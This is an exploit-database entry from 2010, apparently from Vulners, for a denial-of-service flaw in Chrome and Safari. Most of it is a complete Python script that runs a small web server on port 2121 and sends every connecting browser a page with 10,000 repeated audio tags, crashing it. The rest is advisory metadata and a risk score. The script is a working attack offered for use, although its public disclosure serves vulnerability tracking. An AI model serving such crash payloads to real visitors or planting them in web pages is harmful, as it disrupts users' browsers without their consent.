Multiple Browsers - Audio Tag Denial of Service

🗓️ 21 Apr 2010 00:00:00Reported by Chase HigginsType

Audio Tag Denial of Service Vulnerability in Multiple Web Browsers

#!/usr/bin/python

#Multiple Browsers Audio Tag Denial of Service Vulnerability
#any ogg file can be used for the DoS as long as it is a valid file on the server
#crash reporter for Mac seems to think this is a EXEC_BAD_ACCESS
#This script acts as a web server to DoS connecting clients

# Exploit Title: Multiple Browsers Audio Tag DoS Vulnerability
# Date: April 21th, 2010
# Author: Chase Higgins, http://twitter.com/tzDev
# Software Link: google.com/chrome, apple.com/safari
# Version: Google Chrome 5.0.375.9 dev
# Tested on: Mac OSX 10.5.8
 
import sys, socket;

def main():
	html = """
	<html>
	<body>
	""";
	
	html += "<audio src='myogg.ogg'>" * 10000;
	
	html += """
	</body>
	</html>
	""";
	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
	s.bind(('', 2121));
	s.listen(1);
	
	while True:
		channel, details = s.accept();
		print channel.recv(256);
		channel.send(html);
		channel.close();
	
main();

21 Apr 2010 00:00Current

7.4High risk

Vulners AI Score7.4